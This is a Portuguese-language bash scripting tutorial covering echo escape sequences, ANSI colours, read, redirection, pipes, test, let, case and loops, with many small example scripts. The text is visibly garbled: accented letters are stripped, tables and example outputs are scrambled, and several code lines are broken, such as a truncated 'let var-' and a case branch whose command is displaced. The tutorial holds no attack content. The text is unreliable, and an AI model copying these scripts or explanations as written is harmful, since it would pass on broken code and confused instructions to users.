A esta altura voc j deve ter se perguntado "Como fao para imprimir caracteres nova linha ou beep?!". Os mais malandrinhos devem ter tentado um contra-barra (backslash) '\', mas voc no pode simplesmente fazer isso. necessrio usar o parmetro "-e" com o echo. Este parmetro permite que usemos sequncias de escape contra-barra. As sequncias so iguais a da linguagem C, exemplo: \n para nova linha, \a para beep, \b para backspace, etc... Veja este exemplo: /* -=-=-= exemplo =-=-=- */ $ echo -e "module caiu de cara tentando \"top soul\".\nQue paia\a"! module caiu de cara tentando "top soul". Que paia! /* -=-=-= exemplo =-=-=- */ O -e tambm usado para escrever coloridinho (ai que fofo!), e outras coisas interessantes. Veremos isso no tpico seguinte.

3.1.1 Sequncias de Escape ANSI ------------------------Para usar cores a sequncia de escape "\e[<NUM>m" (os sinais '<' e '>' no entram!). Veja um exemplo (mais a frente voc ver tabelas com os significados destas sequncias): /* ----------------- */ <++> BashScript/amarelinho.sh #!/bin/bash # imprime amarelinho no centro da linha # # # [ A varivel $COLUMNS contm o nmero de colunas que o terminal est usando, e antes de executar este script voc precisa export-la: [prompt]$ export COLUMNS $COLUMNS ] || { echo Voc precisa exportar a varivel \"COLUMNS\": echo "Tente \"export COLUMNS\" e tente executar novamente" exit 1

} POSICAO=$[ ( $COLUMNS - `expr length "$*"` ) / 2 ] # `expr length "$*"` retorna o nmero de caracteres digitados # como parmetros. echo -e "\e[${POSICAO}C\e[33;1m$*\e[0m" <--> /* ----------------- */ Agora uma explicao ligeira: o \e diz ao echo que o que vem depois uma sequncia de escape. Se voc der a sequncia '[<num>C', onde num um nmero qualquer, o cursor vai andar "num" caraceteres para a direita. Acima eu uso a varivel POSICAO para mover o cursor para o centro da linha (veja o clculo no cdigo). O comando '[<num>m' muda para a cor "num". Cada cor tem um cdigo prprio. No exemplo acima o 33 faz ficar marrom, porm combinando com o 1

fica amarelo (isso no modo texto, pois no xterm, por exemplo, o 1 faz o marrom ficar em negrito. veja OBSERVAES mais adiante). Veja uma tabela com os cdigos de movimentao de cursor que eu conheo (os caracteres '<' e '>' devem ser ignorados): ,-------------,------------------------------------------------, | Cdigo | O que faz | |-------------|------------------------------------------------| | \e[<N>A | Move o cursor N linhas acima. | |-------------|------------------------------------------------| | \e[<N>B | Move o cursor N linhas abaixo. | |-------------|------------------------------------------------| | \e[<N>C | Move o cursor N colunas direita. | |-------------|------------------------------------------------| | \e[<N>D | Move o cursor N colunas esquerda. | |-------------|------------------------------------------------| | \e[<N>E | Move o cursor N linhas para baixo na coluna 1. | |-------------|------------------------------------------------| | \e[<N>F | Move o cursor N linhas para cima na coluna 1. | |-------------|------------------------------------------------| | \e[<N>G | Coloca o cursor na linha N. | |-------------|------------------------------------------------| | \e[<L>;<C>H | Coloca o cursor na linha L e na coluna C. | |-------------|------------------------------------------------| | \e[<N>I | Move o cursor N tabulaes direita. | |-------------|------------------------------------------------| | | N=0 Apaga do cursor at o fim da tela; | | \e[<N>J | N=1 Apaga do cursor at o incio da tela; | | | N=2 Apaga a tela toda. | |-------------|------------------------------------------------| | | N=0 Apaga do cursor at fim da linha; | | \e[<N>K | N=1 Apaga do cursor at o incio da linha; | | | N=2 Apaga a linha toda. | |-------------|------------------------------------------------| | \e[<N>L | Adiciona N linhas em branco abaixo da atual. | |-------------|------------------------------------------------| | \e[<N>M | Apaga N linhas abaixo da atual. | |-------------|------------------------------------------------| | \e[<N>P | Apaga N caracteres a direita. | |-------------|------------------------------------------------| | \e[<N>S | Move a tela N linhas para cima. | |-------------|------------------------------------------------| | \e[<N>T | Move a tela N linhas para baixo. | |-------------|------------------------------------------------| | \e[<N>X | Limpa N caracteres direita (com espaos). | |-------------|------------------------------------------------| | \e[<N>@ | Adiciona N espaos em branco. | |-------------|------------------------------------------------| | \e[s | Salva a posio do cursor. | |-------------|------------------------------------------------| | \e[u | Restaura a posio do cursor que foi salva. | '-------------'------------------------------------------------' Sim, a lista grande... Faa uns testes para praticar um pouquinho. Agora uma tabelinha dos atributos e seus nmeros (N deve estar no formato "\e[<N>m"): ,-----------------------------,----,-------------,---,

| Atributo | N | Cor | X | |-----------------------------|----|-------------|---| | Desligar todos atributos | 0 | Preto | 0 | | Negrito | 1 | Vermelho | 1 | | Cor X para o primeiro plano | 3X | Verde | 2 | | Cor X para o segundo plano | 4X | Marrom | 3 | | Sublinhado | 4 | Azul | 4 | | Piscando (blink) | 5 | Roxo | 5 | | Vdeo reverso | 7 | Ciano | 6 | | -x| -- | Branco | 7 | '-----------------------------'----'-------------'---' OBSERVAES: -> Negrito, Sublinhado e Piscando possuem comportamentos diferentes no console e nos emuladores de terminal. Principalmente quando temos negrito sendo usado com cores. Por exemplo, o cdigo "\e[33m" ir ativar o marrom mas se for usado (no console!) com o atributo de negrito ficar amarelo, e o cdigo ser assim: "\e[1;33m". Por isso faa os testes que voc descobrir as cores -> Estas tabelas eu fiz graas a uma matria que o aurlio escreveu sobre isso. Veja em http://verde666.org/coluna/ No tpico "6.1 Funes como comandos" voc ver o Mfunctions, ele contm uma funo que mostra todas as combinaes de cores possveis.

3.2. read ==== Como voc viu no script anterior para entrar com um dado usa-se "read". O read tem alguns "macetinhos". Pra comear: voc no precisa colocar um echo toda hora que for usar o read para escrever um prompt. Basta fazer "read -p prompt variavel" Veja esta seo de exemplos: /* ----------------- */ <++> BashScript/read1.sh #!/bin/bash read -p "Entre com uma string: " string echo $string <--> /* ----------------- */ /* -=-=-=-=-= exemplo =-=-=-=-=- */ $ ./read1.sh Entre com uma string: klogd eh um tremendo cachacero! klogd eh um tremendo cachacero! /* -=-=-=-=-= exemplo =-=-=-=-=- */ /* ----------------- */ <++> BashScript/read2.sh #!/bin/bash read -p "Entre com 3 strings: " s1 s2 s3 echo "s1 = $s1 s2 = $s2 s3 = $s3" <--> /* ----------------- */ /* -=-=-=-=-= exemplo2 =-=-=-=-=- */

$ ./read-2.sh Entre com 3 strings: j00nix eh cabecudo s1 = j00nix s2 = eh s3 = cabecudo # o mesmo script com mais de 3 strings # $ ./read-2.sh Entre com 3 strings: eSc2 adora ficar de copy'n'paste no IRC. s1 = eSc2 s2 = adora s3 = ficar de copy'n'paste no IRC. /* -=-=-=-=-= exemplo2 =-=-=-=-=- */ Quando o atribuda a cada string o nmero de "read" vai ler apenas uma varivel, toda a string vai ser esta varivel. Quando vai ler mais de uma varivel ele atribui a sua respectiva varivel; e quando o nmero de strings excede variveis a ltima fica com o excedente.

O parmetro "-s" serve para no ecoar o que for digitado. til para digitar uma senha por exemplo. Tente "read -s PASS" e veja. Voc tambm pode determinar o nmero de caracteres que sero lidos com o parmetro "-n". Tente fazer "read -n 10 VAR". Mas cuidado: ao usar a opo -n voc no poder usar o backspace para fazer correes. A opo "-r" serve para que a contra-barra (backslash) no aja como um caracter de escape. E isso me foi bastante til para fazer o Mextract, como voc ver adiante. Mais sobre o read na manpage do bash.

3.3. Redirecionamento ================ Quem j sabe programar deve saber que existem trs "file descriptors" abertos por padro (pelo menos nos sistemas operacionais que conheo): stdin (standard input), stdout (standard output) e stderr (standard error). Para fins prticos, estes so considerados arquivos e voc pode direcionar destes "arquivos" para outros e vice-versa. Veja como direcionar de: + arquivo para stdin $ programa < arquivo + stdout para arquivo $ programa > arquivo + stderr para arquivo $ programa 2> arquivo + stdout para stderr $ programa 1>&2 + stderr para stdout $ programa 2>&1 + stdout e stderr para arquivo $ programa &> arquivo Se voc usar por exemplo "find / -perm -2 > worldwritable.txt" e no

diretrio no tiver um arquivo chamado "worldwritable.txt" este ser criado, a sada do comando ser gravada nele e a sada de erro padro ser impressa na tela (ou cran, se preferirem :P ). Para no ver as mensagens de "Permission Denied" faa isso: $ find / -perm -2 > worldwritable.txt 2> /dev/null Ainda temos um probleminha: este comando ir mostrar tambm todos os links simblicos e vrios arquivos de dispositivo. Para eliminar os links simblicos faa o seguinte: $ find / -perm -2 ! -type l > worldwritable.txt 2> /dev/null Voc ainda pode eliminar da sada os arquivos com stick bit e os arquivos de dispositivo usando parnt... EI!! Isto aqui sobre redirecionamento, e no sobre o find! V ler a man page do find! =P Se o arquivo j existir seu contedo ser sobregravado. Mas voc pode apenas concatenar o contedo no final do arquivo usando ">>". Exemplo: $ echo " F I M D O A R Q U I V O " >> worldwritable.txt Faa os testes e tire suas concluses! ;) Veja este script a seguir a execute ele usando redirecionamento na linha de comando pra ver os resultados /* ----------------- */ <++> BashScript/redirecionamento.sh #!/bin/bash echo "Isto vai para a sada padro." echo "Isto vai para a sada de erro padro." 1>&2 echo "Isto vai criar um arquivo e colocar esta linha nele." > ARQUIVO echo "Esta linha vai para o final do arquivo." >> ARQUIVO <--> /* ----------------- */ Tem um outro tipo de redirecionamento que bastante til. assim: $ programa << delimitador Isto quer dizer que o programa vai ler o arquivo stdin at encontrar o delimitador. Isso muito til para usar programas externos atravs de shell scripts. Voc pode, por exemplo, usar este tipo de redirecionamento para fazer um shell script escrever um outro arquivo usando o comando "cat". Vamos a um exemplo em que eu crio um cdigo de programa escrito em C atravs do script (note que as variveis do script SO interpretadas): /* ----------------- */ <++> BashScript/catredir.sh #!/bin/bash NAME=`whoami` echo -e "\n\tCRIANDO O ARQUIVO arquivo.c\n" # O arquivo.c terminar quando encontrar a string _EOF_ cat << _EOF_ > arquivo.c

#include <stdio.h> int main (void) { printf ("\n\tPrograma que no faz nada alm disso.\n"); printf ("\tFeito por $NAME\n\n"); return 0; } _EOF_ # O arquivo.c acabou na linha ACIMA do _EOF_ # Observe no arquivo.c o $NAME ser "traduzido" para o username adequado echo -e "\n\tCOMPILANDO O PROGRAMA\n" gcc arquivo.c -o arquivo echo -e "\n\tFEITO!\n" <--> /* ----------------- */

3.3.1. Pipe ==== Agora vejamos o pipe. Sua sintaxe : $ programa1 | programa2 O pipe usado para voc fazer da sada de um programa a entrada de outro (como usado no exemplo amarelinho.sh j mostrado anteriormente). Apesar de simples o pipe muito til e poderoso. Veja este exemplo muito simples: /* -=-=-=-=-= exemplo $ who meleu tty1 Nov hack tty2 Nov root tty3 Nov $ who | cut -c-9 meleu hack root /* -=-=-=-=-= exemplo =-=-=-=-=- */ 20 01:40 20 01:45 20 02:44

=-=-=-=-=- */

Mais exemplos sero dados ao longo do texto.

3.3.1.1. Comandos teis com o Pipe ========================= --> xargs O xargs transforma stdin em argumentos da linha de comando. Vamos usar o exemplo anterior de novo: /* -=-=-=-=-= exemplo =-=-=-=-=- */ $ who | cut -c-9 # lembrando: pipe transforma stdout em stdin meleu hack root

$ # "echo" nao le arquivo, ele usa argumentos. $ # A linha abaixo nao tem utilidade. $ who | cut -c0-9 | echo $ # "xargs" transforma o conteudo de stdin em argumentos $ who | cut -c0-9 | xargs echo meleu hack root /* -=-=-=-=-= exemplo =-=-=-=-=- */ Como eu gosto do find no resisti e colocarei um comando interessante que usa pipe e xargs: $ find / -perm -2 ! -type l ! -type c | xargs ls -ld > wordwritable.txt Se no entendeu algo do comando acima e quer entender, olhe as manpages. --> tee Outro comando bom de se usar com pipe o "tee". Ele faz com que a sada do programa v para a sada padro, normalmente a tela (cran) *E* para um arquivo ao mesmo tempo. como se voc fizesse "programa > arquivo" s que o sada do programa tambm seria escrita na sada padro. Experimente: $ ls -la |tee conteudo.txt

--------------------------------------------------------------------------

4. Comandos de Tomadas de Deciso ****************************** Agora sim o negcio comea a ficar legal! :-) O jeito como as estruturas esto explicadas o que eu uso, mas no o nico. Se voc quer uma referncia mais completa veja a manpage do bash. 4.1 if-then-else e afins ==================== A estrutura bsica a seguinte: if <expresso>; then <instruo(es) se expresso retornar verdadeiro> else <instruo(es) se expresso retornar falso> fi Primeiro devemos saber que todos os comandos do UNIX possuem um cdigo de retorno. Este cdigo tem valor 0 quando a operao ocorre com sucesso e valor diferente de zero quando a operao NO termina com sucesso. Aps

cada comando o valor de retorno gravado na varivel $?, experimente um "echo $?" depois de algum comando e veja! A avaliao de verdadeiro do bash exatamente o oposto de outras linguagens de programao (C por exemplo), que avaliam a expresso de retorno diferente de 0 como verdadeira e 0 como falso. No bash, quando um comando retorna 0 o if avalia como verdadeiro e quando retorna um no-zero significa falso. (Para mais detalhes sobre os cdigos de retorno, olhe a pgina manual do bash na seo "EXIT STATUS"). Veja um exemplo: /* ----------------- */ <++> BashScript/return.sh #!/bin/bash read -p "Entre com o nome do diretrio: " DIR if ( cd $DIR 2> /dev/null ); then echo -e "'cd $DIR' retornou \"sucesso\" ($?)" else echo -e "'cd $DIR' retornou \"insucesso\" ($?)" fi <--> /* ----------------- */ /* -=-=-=-=-= exemplo =-=-=-=-=- */ meleu:~$ ./return.sh Entre com o nome do diretrio: /usr 'cd /usr' retornou "sucesso" (0) meleu:~$ ./return.sh Entre com o nome do diretrio: dir_invalido 'cd dir_invalido' retornou "insucesso" (1) /* -=-=-=-=-= exemplo =-=-=-=-=- */ O valor de retorno do comando "cd /usr" foi 0 portanto foi executado com sucesso, j o retorno de "cd /dir_invalido" foi 1 porque ocorreu um erro. Agora repare no final que mesmo com um "cd /usr" continuo no diretrio HOME (~). Isto prova que um shell script usa um shell a parte (shell "filho") e no o shell que chama o script (shell pai). (Chato ficar lendo isso toda hora n? Esta foi a ltima vez! :P)

4.1.1. test ---Para fazer testes mais arrojados usamos o comando "test". A maneira de usar o test muda de acordo com o que estamos querendo testar. Se estamos comparando strings ou se estamos comparando nmeros, e por a vai... Existe uma sintaxe para cada tipo de interpretao que queremos dar a um dado. Por exemplo: "0001" diferente da string "1" mas o valor numrico igual. E por isso usamos sintaxes diferentes, para que o comando saiba que tipo de comparao estamos fazendo. Continue lendo... --> expresses com strings: O sinal de "=" verifica se a primeira string igual a segunda; o "!=" verifica se a primeira string diferente da segunda; o parmetro "-z" verifica se a string vazia; e o parmetro "-n" verifica se a string NO vazia.

/* -=-=-= exemplos =-=-=- */ $ test "abcd" = "abcd"; echo $? 0 $ test "abcd" != "abcd"; echo $? 1 $ test "abcd" = "efgh"; echo $? 1 $ test "abcd" != "efgh"; echo $? 0 $ test -z "meleu"; echo $? 1 $ test -n "meleu"; echo $? 0 $ test -n ""; echo $? 1 $ test -z ""; echo $? 0 /* -=-=-= exemplos =-=-=- */ Uma maneira mais prtica de usar o "test" e subistitu-lo pelos [colchetes]. muito mais prtico e bonitinho :P $ test "meleu" = "$nome" o mesmo que fazer: $ [ "meleu" = "$nome" ] Muito melhor, no acham?! Vamos usar esta notao a partir de agora! Agora vamos a uma dica til pra hora de fazer comparaes entre strings. Primeiro vamos a um exemplo e depois a uma explicao. /* -=-=-=-=-= exemplo =-=-=-=-=- */ $ cat strcmp1.sh #!/bin/bash if [ $1 = $2 ]; then echo As strings so iguais. fi $ ./strcmp1.sh meleu ./strcmp.sh: [: meleu: unary operator expected /* -=-=-=-=-= exemplo =-=-=-=-=- */ Note que o test deu um erro, e por isso retornou um no-zero para o if. Observe o seguinte: /* -=-=-=-=-= exemplo2 =-=-=-=-=- */ $ cat strcmp2.sh #!/bin/bash if [ $1 = $2 ]; then echo As strings so iguais. else echo As strings so diferentes. fi

$ ./strcmp2.sh meleu ./strcmp.sh: [: meleu: unary operator expected As strings so diferentes. /* -=-=-=-=-= exemplo2 =-=-=-=-=- */ Aconteceu a mesma coisa que no primeiro exemplo, s que agora temos um else pra ser executado caso a expressao do if retorne falso (ou no-zero). Uma soluo pra que no d este erro no test usar aspas duplas. Veja s: /* ------------------ */ <++> BashScript/strcmp.sh #!/bin/bash if [ "$1" = "$2" ]; then echo As strings so iguais. else echo As strings so diferentes. fi <--> /* ------------------ */ Com este acontece tudo certo. ;) Voc tambm NO deve escrever tudo junto, assim: $1=$2 ou "$1"="$2" Desta maneira o test vai retornar sempre verdadeiro, pois seria como se voc estivesse passado somente um parmetro para ele. --> expresses com arquivos O parmetro "-e" verifica se um arquivo regular; o "-d" verifica se um diretrio; e o "-x" verifica se o arquivo executvel. Obviamente se o arquivo no existir ocorrer um erro. /* -=-=-= exemplo $ [ -f /bin/ls ]; 0 $ [ -d /bin/ls ]; 1 $ [ -x /bin/ls ]; 0 /* -=-=-= exemplo =-=-=- */ echo $? echo $? echo $? =-=-=- */

Lgico que no existem s esses trs! Consulte a pgina man do test que voc ver muitos outros parmetros para expresses com arquivos. --> expresses aritmticas Aqui bem diferente das linguagens de programao comuns... No podemos utilizar os operadores que estamos acostumados, como '=' para igual, '<' para menor e assim por diante... Temos que utilizar outros operadores (que no so to difceis de decorar). So eles: -eq -ne -lt -le -gt -ge igual (EQual); diferente (Not-Equal); menor que, "<" (Less Than); menor ou igual, "<=" (Less than or Equal); maior que, ">" (Greater Than); maior ou igual, ">=" (Greater than or Equal).

/* -=-=-= exemplo =-=-=- */ $ [ 2 -eq 2 ]; echo $? 0 $ [ $? -lt 5 ]; echo $? 0 $ [ 1 -le 1 ]; echo $? 0 $ [ 2 -ne 2 ]; echo $? 1 /* -=-=-= exemplo =-=-=- */ D uma olhadinha neste script (meio besta, verdade) pra ver como diferente o valor numrico e o valor string de duas variveis. /* ----------------- */ <++> BashScript/string_number.sh #!/bin/bash NUM1=1 NUM2=00001 if [ "$NUM1" = "$NUM2" ]; then echo "O valor string de $NUM1 e $NUM2 so iguais." else echo "O valor string de $NUM1 e $NUM2 so diferentes." fi if [ $NUM1 -eq $NUM2 ]; then echo "O valor numrico de $NUM1 e $NUM2 so iguais." else echo "O valor numrico de $NUM1 e $NUM2 so diferentes." fi <--> /* ----------------- */ Aproveitando o assunto "nmeros" a vai uma informao til: Para fazer clculos aritmticos podemos fazer o seguinte esquema /* -=-=-= $ echo $[ 10 $ echo $[ 14 /* -=-=-= exemplo =-=-=- */ 2 * 3 + 4 ] 2 * ( 3 + 4 ) ] exemplo =-=-=- */

Basta colocar a expresso entre $[cifro-colchetes], sacou? Voc tambm pode usar $((cifro-dois-parnteses)) mas os colchetes so bem mais prticos. Se voc pretende usar mais coisa relacionada a matemtica, ento aprenda a usar o comando "bc" (via man page ou info). Mas se vai ficar s no "papai-mame" das operaes bsicas pode ficar usando $(()) ou $[] (OBS.: em operaes de diviso os resultados no so muito satisfatrios). --> operadores lgicos (AND e OR) Para usar os operadores lgicos basta usar "-a" para AND e "-o" para OR. Muito simples. O exemplo a seguir usa o AND e tambm usa um novo tipo de

comando de controle, o "elif", que a mesma coisa que "else if", s que se voc usar "else if" vai precisar de um "fi" para fechar. O elif no precisa disso. Preste ateno que fcil de entender para quem tem noo de algoritmo: /* ----------------- */ <++> BashScript/crescente.sh #!/bin/bash read -p "Entre com o primeiro nmero: " NUM1 read -p "Entre com o segundo nmero: " NUM2 read -p "Entre com o terceiro nmero: " NUM3 # Observe o "-a" (AND) na expresso abaixo if [ $NUM1 -le $NUM2 -a $NUM1 -le $NUM3 ]; then MENOR=$NUM1 if [ $NUM2 -le $NUM3 ]; then MEIO=$NUM2 MAIOR=$NUM3 else MEIO=$NUM3 MAIOR=$NUM2 fi elif [ $NUM2 -le $NUM3 ]; then MENOR=$NUM2 if [ $NUM1 -le $NUM3 ]; then MEIO=$NUM1 MAIOR=$NUM3 else MEIO=$NUM3 MAIOR=$NUM1 fi else MENOR=$NUM3 if [ $NUM1 -le $NUM2 ]; then MEIO=$NUM1 MAIOR=$NUM2 else MEIO=$NUM2 MAIOR=$NUM1 fi fi echo "$MENOR < $MEIO < $MAIOR" <--> /* ----------------- */ O "-o" no mesmo estilo. Faa uns testes e ver.

4.1.2. let --O let um comando embutido no bash (e isto quer dizer que se voc quiser info sobre ele tem que ver na manpage do bash, mais especificamente no tpico ARITHMETIC EVALUATION). Ele bastante til para quem est acostumado com programao C, pois sua sintaxe parecidssima, mas s usado para expresses aritmticas. Com este comando voc pode comparar valores numricos com os sinais <,

>, <=, >=, ==, e !=. E mais bastante coisa comum em linguagem C (como por exemplo o ++ e o --). Alguns exemplos do que voc pode fazer: let var++ let var-let "$num > 2" # equivalente a "var=$[ $var + 1 ]" # equivalente a "var=$[ $var - 1 ]" # equivalente a "[ $num -gt 2 ]"

Outra coisa interessante que voc pode substituir let "expressao" por (( expressao )) Portanto os exemplos acima poderiam ser feitos assim: (( var++ )) (( var-- )) (( $num > 2 )) Veja este script abaixo apenas para entender a utilidade do let: /* ----------------- */ <++> BashScript/lettest.sh #!/bin/bash if (( $# != 2 )) ; then # poderia ser: if let "$# != 2" echo "Uso: `basename $0` N1 N2" 1>&2 exit 1 fi if (( $1 > $2 )) ; then # poderia ser: if let "$1 > $2" echo "$1 maior que $2" elif (( $1 == $2 )) ; then # poderia ser: elif let "$1 == $2" echo "$1 igual a $2" else echo "$1 menor que $2" fi <--> /* ----------------- */

4.2. case ==== A sintaxe do case : case WORD in padrao1) <lista de comandos> ;; padrao2) <lista de comandos> ;; *) <lista de comandos se nenhum padrao for casado> ;; esac

Como ns sabemos, um ';' serve para dizer ao shell que um comando acabou, e se quisermos podemos comear outro depois disso. Ex.: echo ; echo MELEU ; echo E para dizer ao shell que terminamos uma opo do 'case' usamos dois ';;'. Para os padres voc pode usar uns curingas parecidos com os usados para nomes de arquivos, que so '*', '?' e a '[lista]'. Os detalhes destes curingas so explicados na seo "Pathname Expansion" da manpage. Veja este script muito besta, sem utilidade prtica e meramente ilustrativo (se quer exemplo prtico veja na seo 9.3. howto.sh): /* ----------------- */ <++> BashScript/casetest.sh #!/bin/bash if [ -z "$1" ]; then echo "Entre com um parmetro" exit 1 fi case "$1" in *a) echo "voc digitou algo que termina com 'a'" ;; ?b) echo "voc digitou algum caractere seguido de um 'b'" ;; [A-Za-z]c) echo "voc digitou um caractere do alfabeto seguido de um 'c'" ;; m|M) *) echo "nenhum dos parmetros definidos foi usado" ;; esac <--> /* ----------------- */ Agora pratique um pouco!! ;-) Veja outros exemplos na seo 9. Exemplos Variados. # esta barra '|' serve como um "ou" echo MELEU;;

4.3. Tomadas de deciso com && e || ============================== Esta maneira de tomar decises bem compacta, mas no aceita "else". Eu, particularmente, prefiro usar esta estrutura quando vou fazer uma tomada de deciso e no preciso de "else". A maneira de usar :

comando1 && comando2 comando1 || comando2 O && executa o primeiro comando e somente se este retornar 0 (no ocorrer problemas) o segundo ser executado. O || executa o primeiro comando e somente se este retornar no-zero (ocorrer problemas) o segundo ser executado. Veja um exemplo bem simples: $ [ -d ~/tempdir ] || mkdir ~/tempdir Como voc deve estar lembrado, "[ -d ~/tempdir ]" o mesmo que "test -d ~/tempdir" e retornar 0 se existir o diretrio ~/tempdir. Caso no exista ele retornar 1, e neste caso o "mkdir ~/tempdir" ser executado. Vejamos um parecido usando o &&: $ [ -d ~/tempdir ] && ls -ld ~/tempdir No preciso explicar n? Se voc est se perguntando "Mas eu s vou poder usar um nico comando?!", a prxima seo lhe trar respostas... 4.3.1 Listas -----As listas de comandos servem para agrupar comandos (meio lgico, no?). Podem ser representadas por (parenteses) ou {chaves}. A diferena que os (parenteses) executam os comandos numa shell a parte e as {chaves} executam no shell atual. Execute comando a seguir e tente entend-lo (est certo... so vrios comandos, mas inicialmente encarado com um comando s). /* -=-=-= exemplo =-=-=- */ [ -d /usr/doc ] && { echo "O diretorio existe" echo "veja o seu conteudo" cd /usr/doc ls } /* -=-=-= exemplo =-=-=- */ E observe que ao final da execuo voc estar no diretrio /usr/doc, o que comprova que com as {chaves} os comandos so executados no shell atual, se voc trocar as {chaves} por (parnteses) observar que o seu diretrio no se alterar. FYI: para saber o diretrio atual o comando a ser usado o "pwd".

--------------------------------------------------------------------------

5. Comandos de Loop

**************** Isto para quando voc precisa repetir determinado comando, vrias vezes.

5.1. for === O for funciona da seguinte forma: for variavel-indice in lista-de-argumentos; do <comandos que sero executados at que variavel-indice assuma todos os valores da lista-de-argumentos> done A princpio voc pode se sentir um pouco confuso com esse negcio de "lista-de-argumentos", assim como eu tambm fiquei, mas at que fcil de entender. Funciona da seguinte forma: a varivel usada como ndice recebe todos os valores usados na lista de argumentos s que um de cada vez, quando no tiver mais argumentos o for acaba. Vamos a um exemplo pra voc entender direito: /* ----------------- */ <++> BashScript/forsample1.sh #!/bin/bash # Exemplo (sem muita utilidade) do uso do comando "for" echo "Mostra o caminho inteiro de alguns comandos" for VAR in ls bc grep sed awk; do which $VAR done <--> /* ----------------- */ Pois ! meio esquisito, eu concordo! Mas o que ns temos. :) Porm raro a gente usar esta lista de argumentos deste jeito, passando todos os parmetros "na mo". Uma maneira mais prtica assim: /* ----------------- */ <++> BashScript/forsample2.sh #!/bin/bash if [ $# -lt 1 ]; then echo "Uso: `basename $0` comando1 [comando2 [comandoN...]]" 1>&2 exit 1 fi for VAR in $@; do which $VAR done <--> /* ----------------- */ No exemplo acima, ns usamos no for os parmetros passados na linha de comando. Existe uma outra maneira que poderamos ter usado para o mesmo objetivo. Para isto basta omitirmos o "in lista-de-argumentos". Veja este

exemplo: /* ----------------- */ <++> BashScript/minuscula.sh #!/bin/bash # renomeia arquivos que tenham nome em maiusculas para # o equivalente em minusculas [ $# -lt 1 ] && { echo "*** Erro: voc precisa passar os arquivos que quer renomear" echo "Uso: Mminusculas arquivo1 [arquivoN]" exit } # repare que o for a seguir nao tem o "in lista-de-argumentos"! for maiuscula do [ -e "$maiuscula" ] || { echo "$maiuscula no existe, continuando com o prximo arquivo" continue } minuscula=$( echo $maiuscula | tr A-Z a-z ) mv $maiuscula $minuscula done <--> /* ----------------- */ Agora para usarmos um for um pouco parecido com o das linguagens de programao convencionais usamos um comandinho chamado "seq". Ele funciona basicamente da seguinte forma: /* -=-=-=-=-= exemplo =-=-=-=-=- */ $ seq 1 10 1 2 3 4 5 6 7 8 9 10 # pode ser em ordem decrescente tambm: $ seq 10 1 10 9 8 7 6 5 4 3 2 1 /* -=-=-=-=-= exemplo =-=-=-=-=- */

Fcil no? Agora vejamos um exemplo: /* ----------------- */ <++> BashScript/tabuada.sh #!/bin/bash if [ $# -ne 1 ]; then echo "Uso: `basename $0` n" echo "Onde 'n' um nmero inteiro qualquer" exit 1 fi for OP in `seq 1 10`; do echo -e "$1 + $OP = $[ $1 + $OP ] \t $1 - $OP = $[ $1 - $OP ]" done echo for OP in `seq 1 10`; do echo -e "$1 * $OP = $[ $1 * $OP ] \t \ $1 / $OP = `echo "scale=2;$1 / $OP" | bc`" done <--> /* ----------------- */ Moleza! ;) 5.1.1 "for" como na linguagem C ------------------------Se voc j programador C, pode tirar proveito da sintaxe do let (j explicado no ponto 4.1.2.). Para conferir isto basta pegar o script acima (tabuada.sh) e trocar as linhas onde tem for OP in `seq 1 10`; do por esta linha: for (( OP=1; OP <= 10; OP++ )); do S no pode esquecer dos ((dois parnteses)).

5.2. while ===== Estrutura bsica do while: while <expresso>; do <comandos que sero executados enquanto <expresso> retornar verdadeiro> done Sem muita conversa. Vamos direto a um exemplo: /* ----------------- */ <++> BashScript/whilesample.sh #!/bin/bash

# Script que soma os nmeros positivos que so dados e sai do programa # quando entrado -1. RESULT=0 NUM=0 echo -e "\e[1mPara sair entre com '-1'.\e[m" while [ $NUM -ne -1 ]; do echo -n "Nmero: " read NUM if [ $NUM -gt 0 ]; then let RESULT+=$NUM # para quem no conhece C: VAR1+=VAR2 a mesma coisa que fazer # VAR1=$[ $VAR1 + $VAR2 ] fi done echo "Soma dos positivos: $RESULT" exit 0 <--> /* ----------------- */

5.3. until ===== igual ao while, exceto por um detalhezinho. Veja a expresso bsica e saber: until <expresso>; do <comandos que sero executados enquanto <expresso> retornar FALSO> done Leia direitinho: comandos que sero executados enquanto <expresso> retornar FALSO! ;-) Exemplo: /* ----------------- */ <++> BashScript/untilsample.sh #!/bin/bash CONT=10 until [ $CONT -eq 0 ]; do echo -ne "$CONT\t" let CONT-done echo <--> /* ----------------- */

5.4. break e continue ================ Estes comandos so teis quando usamos loops. --> break

Quebra a execuo do loop. Para entender nada melhor que um exemplo: /* ----------------- */ <++> BashScript/breaksample.sh #!/bin/bash # `true` sempre retorna verdadeiro while true; do read -p "Tente adivinhar o nmero: " NUM [ "$NUM" -eq 666 ] && break done echo -e "\nVoc acertou! \n" <--> /* ----------------- */ O que o break faz pular a sequncia de execuo do script para o que vier depois do "done". Ele tambm aceita argumento, da seguinte forma: "break n", onde 'n' um nmero inteiro que indica quantos "done's" pular. --> continue O continue interrompe o loop e faz novamente o teste do comando que est controlando o loop (for, while, etc.). Veja este exemplo: /* ----------------- */ <++> BashScript/concatenar.sh #!/bin/bash [ $1 ] || { echo "Entre com o(s) nome(s) do arquivo(s)"; exit 1; } for FILE in $@; do [ -f $FILE ] || { echo -e "\"$FILE\" no um arquivo\n" continue } cat $FILE >> AllFiles.txt echo -e "\n\n\n-=-=-=-=-=-=-=-=-=-=-=-=-=-\n\n\n" >> AllFiles.txt done echo "Feito!" <--> /* ----------------- */ O que o continue faz voltar l para antes do "do" pra fazer o teste novamente. Ele tambm aceita argumento no estilo "continue n" para indicar quantos "do's" voltar.

5.5 Redirecionando loops ==================== Lendo o livro "Linux: Programao Shell" (ver Referncias) eu aprendi umas formas de usar redirecionamento para loops. Vou tentar passar os esquemas aqui atravs de exemplos meramente ilustrativos. Vamos a eles,

